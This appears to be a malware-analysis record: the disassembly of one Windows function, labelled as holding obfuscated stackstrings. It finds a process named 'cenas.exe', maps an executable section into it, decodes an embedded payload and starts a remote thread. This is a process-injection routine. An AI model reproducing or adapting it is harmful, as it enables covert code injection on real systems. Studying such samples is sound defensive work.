Function at 0x140001c70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push r12
lea rbp, [rsp - 0x3f]
sub rsp, 0xa8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x100
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x140001cda
lea rcx, [rbp + 0x17]
mov dword [rbp + 0x17], 0x70797243
mov dword [rbp + 0x1b], 0x2e707374
mov word [rbp + 0x1f], 0x6c64
mov byte [rbp + 0x21], 0x6c
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0xa0], rdi
xor r12d, r12d
mov qword [rsp + 0x98], r14
mov rsi, 0xffffffffffffffff
mov qword [rsp + 0x90], r15
mov qword [rbp - 1], r12
call fcn.140001770
test eax, eax
je 0x14000208c
mov rdx, qword [0x140004258]
mov r14d, r12d
mov ecx, dword [0x140004248]
mov qword [rbp + 0x77], r12
mov qword [rbp + 0x7f], r12
mov qword [rbp - 9], r12
mov qword [rbp + 0xf], r12
mov qword [rbp + 7], 0x114
mov dword [rbp + 0x67], r12d
mov dword [rbp + 0x6f], r12d
call fcn.140002150
lea r9, [rbp + 0x67]
xor r8d, r8d
xor edx, edx
lea ecx, [rsi + 6]
call fcn.140002172
mov ecx, dword [rbp + 0x67]
test eax, eax
je 0x140001d62
test ecx, ecx
je 0x14000208c
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x14000208c
mov rdx, qword [0x140004258]
mov r15, rax
mov ecx, dword [0x140004248]
call fcn.140002150
mov r8d, dword [rbp + 0x67]
lea r9, [rbp + 0x6f]
mov rdx, r15
mov ecx, 5
call fcn.140002172
test eax, eax
je 0x140001dc0
cmp dword [rbp + 0x67], r12d
je 0x14000208c
cmp word [rdi + 0x38], r12w
je 0x140001de2
mov rcx, qword [rdi + 0x40]
call fcn.140001450
lea rcx, str.cenas.exe
mov ebx, eax
call fcn.140001450
cmp ebx, eax
je 0x140001ded
mov eax, dword [rdi]
test eax, eax
je 0x140001e04
add rdi, rax
jmp 0x140001dc0
mov r14d, dword [rdi + 0x50]
xor edx, edx
mov r8d, r14d
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14d, r14d
je 0x14000208c
test rsi, rsi
je 0x14000208c
mov rdx, qword [0x140004270]
mov ecx, dword [0x140004260]
call fcn.140002150
mov qword [rsp + 0x30], r12
lea r9, [rbp + 7]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp - 9]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140002172
test eax, eax
js 0x140002088
mov rdx, qword [0x140004180]
mov ecx, dword [0x140004170]
call fcn.140002150
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0xf]
mov dword [rsp + 0x48], 4
lea r8, [rbp + 0x77]
mov qword [rsp + 0x40], r12
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r12
call fcn.140002172
test eax, eax
js 0x140002021
cmp qword [rbp + 0x77], r12
je 0x140002049
mov rdx, qword [0x140004180]
mov ecx, dword [0x140004170]
call fcn.140002150
mov rcx, qword [rbp - 9]
lea rax, [rbp + 0xf]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp + 0x7f]
mov qword [rsp + 0x40], r12
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call fcn.140002172
test eax, eax
js 0x140002021
cmp qword [rbp + 0x7f], r12
je 0x140002021
mov rcx, qword [rbp + 0x77]
lea rdx, section..data
mov r8d, 0x114
call fcn.1400020c0
mov rdx, qword [rbp + 0x77]
lea rcx, [0x140004118]
mov r9d, 0x114
mov r8d, 0x10
call fcn.140001500
test eax, eax
je 0x140002088
mov rdx, qword [0x140004198]
mov ecx, dword [0x140004188]
call fcn.140002150
mov rdx, qword [rbp + 0x77]
mov rcx, 0xffffffffffffffff
call fcn.140002172
test eax, eax
js 0x140002088
mov rdx, qword [0x1400041f8]
mov ecx, dword [0x1400041e8]
mov qword [rbp + 0x77], r12
call fcn.140002150
mov rax, qword [rbp + 0x7f]
lea rcx, [rbp - 1]
mov qword [rsp + 0x50], r12
mov r9, rsi
mov qword [rsp + 0x48], r12
xor r8d, r8d
mov qword [rsp + 0x40], r12
mov edx, 0x1fffff
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call fcn.140002172
test eax, eax
js 0x140002021
mov rcx, qword [rbp + 0x67]
test rcx, rcx
je 0x140001ff6
mov rax, qword [rbp - 1]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x7f]
mov rax, qword [rbp + 0x67]
mov rdx, qword [0x140004210]
mov qword [rax], rcx
mov ecx, dword [0x140004200]
call fcn.140002150
mov rcx, qword [rbp - 1]
xor r8d, r8d
xor edx, edx
call fcn.140002172
cmp qword [rbp + 0x77], r12
je 0x140002049
mov rdx, qword [0x140004198]
mov ecx, dword [0x140004188]
call fcn.140002150
mov rdx, qword [rbp + 0x77]
mov rcx, 0xffffffffffffffff
call fcn.140002172
mov rdx, qword [0x140004198]
mov ecx, dword [0x140004188]
call fcn.140002150
mov rdx, qword [rbp + 0x7f]
mov rcx, rsi
call fcn.140002172
cmp qword [rbp - 9], r12
je 0x140002088
mov rdx, qword [0x1400041b0]
mov ecx, dword [0x1400041a0]
call fcn.140002150
mov rcx, qword [rbp - 9]
call fcn.140002172
xor eax, eax
jmp 0x140002091
mov eax, 0xffffffff
mov r15, qword [rsp + 0x90]
mov r14, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
add rsp, 0xa8
pop r12
pop rsi
pop rbx
pop rbp
ret